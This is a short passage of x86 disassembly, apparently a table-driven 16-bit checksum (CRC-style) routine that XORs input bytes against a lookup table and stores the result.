shr eax, 8
movzx esi, word [ecx*2 + 0x4bd8c0]
xor eax, esi
cmp ebp, edi
jb 0x42984c
mov ecx, dword [esp + 0x14]
lea ebp, [ebp + ebp + 1]
lea edi, [ebp - 1]
cmp edi, edx
jae 0x4298ad
mov edx, eax
movzx eax, al
movzx ebx, byte [ebx + ebp - 1]
xor eax, ebx
shr edx, 8
movzx eax, word [eax*2 + 0x4bd8c0]
xor eax, edx
mov word [ecx], ax
pop ebp
pop ebx
pop edi
pop esi
ret
mov ebp, 1
jmp 0x42988d